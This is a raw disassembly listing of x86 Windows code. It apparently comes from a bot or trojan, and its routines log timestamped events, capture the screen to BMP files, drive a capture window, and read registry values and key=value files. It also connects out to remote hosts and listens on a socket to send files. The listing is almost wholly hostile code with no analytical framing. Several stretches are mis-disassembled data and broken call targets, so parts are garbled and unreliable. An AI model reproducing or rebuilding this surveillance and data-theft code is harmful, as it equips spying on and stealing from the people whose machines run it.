sub_41BC40 push 17h push [ebp+arg_0] push ebx call sub_41BCA0 push 9Fh lea eax, dword_4433B8[esi] push [ebp+arg_4] push eax call sub_41BCA0 add esp, 24h inc dword_42B684 pop ebx loc_415727: ; CODE XREF: sub_4156AE+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4156AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41572E proc near ; CODE XREF: .nsp0:004043AAp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_43E430 push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h xor edi, edi mov esi, offset dword_4433A0 loc_415758: ; CODE XREF: sub_41572E+72j cmp byte ptr [esi], 0 jz short loc_415793 lea eax, [esi+18h] push eax push esi push edi push offset dword_43E41C lea eax, [ebp+var_200] push 200h push eax call sub_41C030 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 2Ch loc_415793: ; CODE XREF: sub_41572E+2Dj add esi, 0B8h inc edi cmp esi, offset dword_443F20 jl short loc_415758 pop edi pop esi leave retn sub_41572E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157A6 proc near ; CODE XREF: .nsp0:00401ECCp ; .nsp0:004020E6p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_427130 ; GetLocalTime mov ebx, offset dword_4D8E1C mov edi, 80h mov esi, offset dword_4D4E1C loc_4157C8: ; CODE XREF: sub_4157A6+3Dj cmp byte ptr [ebx], 0 jz short loc_4157DF push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BCA0 add esp, 0Ch loc_4157DF: ; CODE XREF: sub_4157A6+25j sub ebx, edi cmp ebx, esi jge short loc_4157C8 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C030 add esp, 28h pop edi pop esi pop ebx leave retn sub_4157A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41581A proc near ; CODE XREF: sub_4018A1+F7p ; .nsp0:loc_4020B5p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C830 lea eax, [ebp+var_80] push eax call sub_4157A6 add esp, 14h leave retn sub_41581A endp ; =============== S U B R O U T I N E ======================================= sub_415846 proc near ; CODE XREF: .nsp0:004042A4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4D4E1C xor ecx, ecx loc_41584D: ; CODE XREF: sub_415846+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D8E1C jl short loc_41584D cmp [esp+arg_C], ecx jnz short loc_41587B push ecx push [esp+4+arg_8] push offset dword_43E47C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_4099D2 add esp, 14h loc_41587B: ; CODE XREF: sub_415846+19j push offset dword_43E468 call sub_4157A6 pop ecx retn sub_415846 endp ; --------------------------------------------------------------------------- byte_415887 db 55h ; DATA XREF: .nsp0:00404354o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4158DA push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_43E4AC push eax push dword ptr [ebp-11Ch] call sub_4099D2 add esp, 14h loc_4158DA: ; CODE XREF: .nsp0:004158BAj cmp byte ptr [ebp-98h], 0 jz short loc_4158FA lea eax, [ebp-98h] push eax call sub_41BE29 test eax, eax pop ecx mov [ebp-4], eax jz short loc_4158FA mov [ebp-8], eax loc_4158FA: ; CODE XREF: .nsp0:004158E1j ; .nsp0:004158F5j and dword ptr [ebp+8], 0 mov esi, offset dword_4D4E1C loc_415903: ; CODE XREF: .nsp0:0041595Bj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_41595D cmp byte ptr [esi], 0 jz short loc_41594C cmp byte ptr [ebp-98h], 0 jz short loc_415932 cmp dword ptr [ebp-4], 0 jnz short loc_415932 lea eax, [ebp-98h] push eax push esi call sub_418832 pop ecx test eax, eax pop ecx jz short loc_41594C loc_415932: ; CODE XREF: .nsp0:00415917j ; .nsp0:0041591Dj push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_4099D2 add esp, 14h loc_41594C: ; CODE XREF: .nsp0:0041590Ej ; .nsp0:00415930j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D8E1C jl short loc_415903 loc_41595D: ; CODE XREF: .nsp0:00415909j lea eax, [ebp-31Ch] push offset dword_43E490 push eax call sub_41BF36 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415997 push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_4099D2 add esp, 14h loc_415997: ; CODE XREF: .nsp0:00415975j lea eax, [ebp-31Ch] push eax call sub_4157A6 push dword ptr [ebp-18h] call sub_40B32A pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dw 4DE8h ; --------------------------------------------------------------------------- cmpsb jb short $+2 xor al, 5Fh pop esi loc_4159B6: ; CODE XREF: .nsp0:00408D59p push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4D11DC ; CreateDCA mov edi, eax cmp edi, esi mov [ebp-20h], edi jz loc_415BEA push 8 push edi call dword_4D11F8 ; GetDeviceCaps push 0Ah push edi mov [ebp-8], eax call dword_4D11F8 ; GetDeviceCaps push 0Ch push edi mov [ebp-0Ch], eax call dword_4D11F8 ; GetDeviceCaps cmp eax, 8 mov [ebp-10h], eax ja short loc_415A18 push 18h push edi call dword_4D11F8 ; GetDeviceCaps mov ebx, 100h jmp short loc_415A1A ; --------------------------------------------------------------------------- loc_415A18: ; CODE XREF: .nsp0:00415A06j xor ebx, ebx loc_415A1A: ; CODE XREF: .nsp0:00415A16j push edi call dword_4D123C ; CreateCompatibleDC cmp eax, esi mov [ebp-4], eax jz loc_415BCF mov eax, [ebp-8] push esi mov [ebp-80h], eax mov eax, [ebp-0Ch] mov [ebp-7Ch], eax mov ax, [ebp-10h] mov [ebp-76h], ax lea eax, [ebp-18h] push esi push eax lea eax, [ebp-84h] push 1 push eax push edi mov dword ptr [ebp-84h], 28h mov word ptr [ebp-78h], 1 mov [ebp-74h], esi mov [ebp-70h], esi mov [ebp-6Ch], esi mov [ebp-68h], esi mov [ebp-64h], ebx mov [ebp-60h], ebx call dword_4D1234 ; CreateDIBSection cmp eax, esi mov [ebp-1Ch], eax jz loc_415BDA push eax push dword ptr [ebp-4] call dword_4D10C0 ; SelectObject cmp eax, esi jz loc_415BDA cmp eax, 0FFFFFFFFh jz loc_415BDA push 0CC0020h push esi push esi push edi push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push esi push esi push dword ptr [ebp-4] call dword_4D1238 ; BitBlt test eax, eax jz loc_415BDA cmp ebx, esi jz short loc_415AD7 lea eax, [ebp-484h] push eax push ebx push esi push dword ptr [ebp-4] call dword_4D1114 ; GetDIBColorTable mov ebx, eax loc_415AD7: ; CODE XREF: .nsp0:00415AC1j mov edi, [ebp-10h] mov ecx, [ebp-8] imul edi, [ebp-0Ch] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp-8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp-26h], eax mov eax, [ebp-0Ch] push esi push esi push 40000000h push dword ptr [ebp+8] mov [ebp-50h], eax mov ax, [ebp-10h] mov word ptr [ebp-30h], 4D42h mov [ebp-2Eh], edx mov [ebp-2Ah], si mov [ebp-28h], si mov dword ptr [ebp-58h], 28h mov [ebp-54h], ecx mov word ptr [ebp-4Ch], 1 mov [ebp-4Ah], ax mov [ebp-48h], esi mov [ebp-44h], esi mov [ebp-40h], esi mov [ebp-3Ch], esi mov [ebp-38h], ebx mov [ebp-34h], esi call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_415BBA lea ecx, [ebp-14h] push esi push ecx lea ecx, [ebp-30h] push 0Eh push ecx push eax call near ptr 0B40000h inc edx lea eax, [ebp-14h] push esi push eax lea eax, [ebp-58h] push 28h push eax push dword ptr [ebp+8] call near ptr 0B40000h push ds cmp ebx, esi jz short near ptr loc_415B9B+1 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-484h] push dword ptr [ebp-8] push eax push dword ptr [ebp+8] call near ptr 0B40000h loc_415B9B: ; CODE XREF: .nsp0:00415B82j rep lea eax, [ebp-14h] push esi push eax push edi push dword ptr [ebp-18h] push dword ptr [ebp+8] call near ptr 0B40000h lodsd push dword ptr [ebp+8] call dword_42706C ; CloseHandle push 1 pop esi loc_415BBA: ; CODE XREF: .nsp0:00415B58j push dword ptr [ebp-1Ch] call dword_4D114C ; DeleteObject push dword ptr [ebp-4] call dword_4D10AC ; DeleteDC mov edi, [ebp-20h] loc_415BCF: ; CODE XREF: .nsp0:00415A26j push edi call dword_4D10AC ; DeleteDC mov eax, esi jmp short loc_415BEC ; --------------------------------------------------------------------------- loc_415BDA: ; CODE XREF: .nsp0:00415A7Dj ; .nsp0:00415A8Fj ... push edi call dword_4D10AC ; DeleteDC push dword ptr [ebp-4] call dword_4D10AC ; DeleteDC loc_415BEA: ; CODE XREF: .nsp0:004159D9j xor eax, eax loc_415BEC: ; CODE XREF: .nsp0:00415BD8j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BF1 proc near ; CODE XREF: .nsp0:00408E80p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D8E20 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4D1140 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415C2F mov eax, esi jmp loc_415DE5 ; --------------------------------------------------------------------------- loc_415C2F: ; CODE XREF: sub_415BF1+35j push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415C4C push ebx push [ebp+arg_4] push 40Ah push edi call dword_4D124C ; SendMessageA jmp short loc_415C4E ; --------------------------------------------------------------------------- loc_415C4C: ; CODE XREF: sub_415BF1+47j xor eax, eax loc_415C4E: ; CODE XREF: sub_415BF1+59j cmp eax, ebx jnz short loc_415C59 loc_415C52: ; CODE XREF: sub_415BF1+88j ; sub_415BF1+BCj mov ebx, esi jmp loc_415DDA ; --------------------------------------------------------------------------- loc_415C59: ; CODE XREF: sub_415BF1+5Fj push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415C76 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4D124C ; SendMessageA loc_415C76: ; CODE XREF: sub_415BF1+71j cmp [ebp+var_20], ebx jz short loc_415C52 push edi call dword_4D1190 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_415C9C push ebx push ebx push edi push [ebp+var_4] call dword_4D124C ; SendMessageA mov [ebp+arg_4], eax jmp short loc_415C9F ; --------------------------------------------------------------------------- loc_415C9C: ; CODE XREF: sub_415BF1+98j mov [ebp+arg_4], ebx loc_415C9F: ; CODE XREF: sub_415BF1+A9j push [ebp+arg_4] call sub_41BBCB cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415C52 push [ebp+arg_4] call sub_41BBCB mov esi, eax pop ecx cmp esi, ebx jnz short loc_415CC6 push 1 pop ebx jmp loc_415DDA ; --------------------------------------------------------------------------- loc_415CC6: ; CODE XREF: sub_415BF1+CBj push [ebp+var_4] call dword_4D1190 ; IsWindow test eax, eax jz short loc_415CE3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4D124C ; SendMessageA loc_415CE3: ; CODE XREF: sub_415BF1+E0j push [ebp+arg_4] push [ebp+var_8] push esi call near ptr sub_41C9B0 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415CFE mov ecx, 280h loc_415CFE: ; CODE XREF: sub_415BF1+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415D0A mov eax, 1E0h loc_415D0A: ; CODE XREF: sub_415BF1+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4D1190 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_415D54 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4D124C ; SendMessageA loc_415D54: ; CODE XREF: sub_415BF1+153j push [ebp+var_4] call dword_4D1190 ; IsWindow test eax, eax jz short loc_415D71 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4D124C ; SendMessageA loc_415D71: ; CODE XREF: sub_415BF1+16Ej push [ebp+var_4] call dword_4D1190 ; IsWindow test eax, eax jz short loc_415D90 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4D124C ; SendMessageA loc_415D90: ; CODE XREF: sub_415BF1+18Bj push [ebp+var_4] call dword_4D1190 ; IsWindow test eax, eax jz short loc_415DAD push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4D124C ; SendMessageA loc_415DAD: ; CODE XREF: sub_415BF1+1AAj push [ebp+var_8] call sub_41B961 push esi call sub_41B961 pop ecx pop ecx push [ebp+var_4] call dword_4D1190 ; IsWindow test eax, eax jz short loc_415DDA push ebx push ebx push 40Bh push [ebp+var_4] call dword_4D124C ; SendMessageA loc_415DDA: ; CODE XREF: sub_415BF1+63j ; sub_415BF1+D0j ... push [ebp+var_4] call dword_4D12A0 ; DestroyWindow mov eax, ebx loc_415DE5: ; CODE XREF: sub_415BF1+39j pop edi pop esi pop ebx leave retn sub_415BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DEA proc near ; CODE XREF: .nsp0:00408F38p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D8E20 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4D1140 mov edi, eax cmp edi, ebx jnz short loc_415E28 mov eax, esi jmp loc_416024 ; --------------------------------------------------------------------------- loc_415E28: ; CODE XREF: sub_415DEA+35j push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415E45 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4D124C ; SendMessageA jmp short loc_415E47 ; --------------------------------------------------------------------------- loc_415E45: ; CODE XREF: sub_415DEA+47j xor eax, eax loc_415E47: ; CODE XREF: sub_415DEA+59j cmp eax, ebx jnz short loc_415E52 loc_415E4B: ; CODE XREF: sub_415DEA+8Bj ; sub_415DEA+BCj mov ebx, esi jmp loc_41601B ; --------------------------------------------------------------------------- loc_415E52: ; CODE XREF: sub_415DEA+5Fj push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415E72 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4D124C ; SendMessageA loc_415E72: ; CODE XREF: sub_415DEA+71j cmp [ebp+var_7C], ebx jz short loc_415E4B push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415E95 push ebx push ebx push 42Ch push edi call dword_4D124C ; SendMessageA mov [ebp+arg_4], eax jmp short loc_415E98 ; --------------------------------------------------------------------------- loc_415E95: ; CODE XREF: sub_415DEA+96j mov [ebp+arg_4], ebx loc_415E98: ; CODE XREF: sub_415DEA+A9j push [ebp+arg_4] call sub_41BBCB cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415E4B push [ebp+arg_4] call sub_41BBCB mov esi, eax pop ecx cmp esi, ebx jnz short loc_415EBF push 1 pop ebx jmp loc_41601B ; --------------------------------------------------------------------------- loc_415EBF: ; CODE XREF: sub_415DEA+CBj push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415EDC push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4D124C ; SendMessageA loc_415EDC: ; CODE XREF: sub_415DEA+DEj push [ebp+arg_4] push [ebp+var_4] push esi call near ptr sub_41C9B0 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_415EF7 mov ecx, 0A0h loc_415EF7: ; CODE XREF: sub_415DEA+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415F01 push 78h pop eax loc_415F01: ; CODE XREF: sub_415DEA+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4D1190 ; IsWindow test eax, eax jz short loc_415F46 push esi push [ebp+arg_4] push 42Dh push edi call dword_4D124C ; SendMessageA loc_415F46: ; CODE XREF: sub_415DEA+14Aj push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415F63 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4D124C ; SendMessageA loc_415F63: ; CODE XREF: sub_415DEA+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4D1190 ; IsWindow test eax, eax jz short loc_415FA1 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4D124C ; SendMessageA loc_415FA1: ; CODE XREF: sub_415DEA+1A3j push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415FBC push [ebp+arg_0] push ebx push 414h push edi call dword_4D124C ; SendMessageA loc_415FBC: ; CODE XREF: sub_415DEA+1C0j push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415FD5 push ebx push ebx push 43Eh push edi call dword_4D124C ; SendMessageA loc_415FD5: ; CODE XREF: sub_415DEA+1DBj push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_415FF2 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4D124C ; SendMessageA loc_415FF2: ; CODE XREF: sub_415DEA+1F4j push [ebp+var_4] call sub_41B961 push esi call sub_41B961 pop ecx pop ecx push edi call dword_4D1190 ; IsWindow test eax, eax jz short loc_41601B push ebx push ebx push 40Bh push edi call dword_4D124C ; SendMessageA loc_41601B: ; CODE XREF: sub_415DEA+63j ; sub_415DEA+D0j ... push edi call dword_4D12A0 ; DestroyWindow mov eax, ebx loc_416024: ; CODE XREF: sub_415DEA+39j pop edi pop esi pop ebx leave retn sub_415DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416029 proc near ; CODE XREF: .nsp0:004040B8p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_43E4DC, ebx mov [ebp+var_C], 80h jz loc_4161DB push esi push edi mov eax, offset off_43E4DC mov esi, offset dword_43E4E8 mov edi, offset dword_43F6E0 loc_416059: ; CODE XREF: sub_416029+1AAj lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4D1260 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4D10F0 ; RegQueryValueExA test eax, eax jnz loc_4161C1 mov eax, [esi] cmp eax, ebx jz loc_416185 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4301F0 push eax call sub_41BF36 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41BBB8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_4161C1 push eax loc_4160D2: ; CODE XREF: sub_416029+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41C1FF add esp, 0Ch test eax, eax jz loc_41617A push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_4160FF push [ebp+var_8] jmp short loc_4160D2 ; --------------------------------------------------------------------------- loc_4160FF: ; CODE XREF: sub_416029+CFj push 3Dh push dword ptr [esi+4] call sub_41C650 pop ecx test eax, eax pop ecx jz short loc_41613E lea eax, [ebp+var_70] push offset asc_43F6DC ; "=" push eax call sub_41C794 push offset asc_43F6DC ; "=" push ebx call sub_41C794 push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41BF36 add esp, 20h jmp short loc_416155 ; --------------------------------------------------------------------------- loc_41613E: ; CODE XREF: sub_416029+E4j lea eax, [ebp+var_70] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41BF36 add esp, 10h loc_416155: ; CODE XREF: sub_416029+113j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_2F0] push eax call sub_4157A6 add esp, 18h loc_41617A: ; CODE XREF: sub_416029+B9j push [ebp+var_8] call sub_41B90B pop ecx jmp short loc_4161C1 ; --------------------------------------------------------------------------- loc_416185: ; CODE XREF: sub_416029+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41BF36 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_2F0] push eax call sub_4157A6 add esp, 28h loc_4161C1: ; CODE XREF: sub_416029+60j ; sub_416029+A2j ... push [ebp+var_4] call dword_4D11CC ; RegCloseKey add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_416059 pop edi pop esi loc_4161DB: ; CODE XREF: sub_416029+19j pop ebx leave retn sub_416029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161DE proc near ; CODE XREF: .nsp0:00416883p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4D1270 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41625A push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4D11F0 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_4D1230 ; inet_addr cmp eax, esi jnz short loc_41623F push [ebp+arg_0] call dword_4D1274 ; gethostbyname test eax, eax jz short loc_41625A mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_41623F: ; CODE XREF: sub_4161DE+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4D1198 ; connect cmp eax, esi jnz short loc_41625E push edi call dword_4D1288 ; closesocket loc_41625A: ; CODE XREF: sub_4161DE+1Bj ; sub_4161DE+58j mov eax, esi jmp short loc_416260 ; --------------------------------------------------------------------------- loc_41625E: ; CODE XREF: sub_4161DE+73j mov eax, edi loc_416260: ; CODE XREF: sub_4161DE+7Ej pop edi pop esi leave retn sub_4161DE endp ; --------------------------------------------------------------------------- dword_416264 dd 0B8EC8B55h, 11B4h, 5F5FE8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: .nsp0:0040250Co dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 43F75Ch, 5C80E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0FBE85350h, 83FFFF36h, 858D14C4h, 0FFFFEE4Ch dd 0F4C0E850h, 75FFFFFFh, 503CE8F0h, 5959FFFFh, 9D0AE856h dd 686E0072h, 443398h, 41EBE853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 43F72Ch, 5C1CE850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 97E85350h, 83FFFF36h, 858D14C4h, 0FFFFEE4Ch dd 0F45CE850h, 5359FFFFh, 128815FFh, 75FF004Dh, 4FD0E8F0h dd 5659FFFFh, 729C9FE8h, 646A3C00h, 706415FFh, 0FF330042h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 0C1E85057h, 83000058h dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 120815FFh, 0C085004Dh dd 858D387Eh, 0FFFFEE4Ch, 43080868h, 0B9E85000h, 8D000061h dd 0FFEE4C85h, 26E850FFh, 8300003Fh, 0C0850CC4h, 646A1474h dd 706415FFh, 0A6A0042h, 0FF4E8DE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 43F6F868h, 57E85000h, 3900005Bh, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 35D4E853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFF399E8h dd 0FF5359FFh, 4D128815h, 0F075FF00h, 0FF4F0DE8h, 0E85759FFh dd 729BDCh db 7Eh ; --------------------------------------------------------------------------- loc_416425: ; DATA XREF: .nsp0:00409265o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4D1270 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_416473 push offset unk_43F85C jmp loc_41662C ; --------------------------------------------------------------------------- loc_416473: ; CODE XREF: .nsp0:00416467j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BC40 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4D11F0 ; ntohs mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4D121C ; bind test eax, eax jz short loc_4164B1 push offset unk_43F838 jmp loc_41662C ; --------------------------------------------------------------------------- loc_4164B1: ; CODE XREF: .nsp0:004164A5j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4D1194 ; getsockname push dword ptr [ebp-2Eh] call dword_4D1120 ; ntohs mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B890 pop ecx loc_4164E3: ; CODE XREF: .nsp0:00416514j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_4164F6 push 5Fh pop eax jmp short loc_4164F9 ; --------------------------------------------------------------------------- loc_4164F6: ; CODE XREF: .nsp0:004164EFj movsx eax, al loc_4164F9: ; CODE XREF: .nsp0:004164F4j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B890 cmp [ebp+8], eax pop ecx jbe short loc_4164E3 push ebx push edi call dword_4D1218 ; listen test eax, eax jz short loc_41652C push offset unk_43F75C jmp loc_41662C ; --------------------------------------------------------------------------- loc_41652C: ; CODE XREF: .nsp0:00416520j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_416556 push offset unk_43F818 jmp loc_41662C ; --------------------------------------------------------------------------- 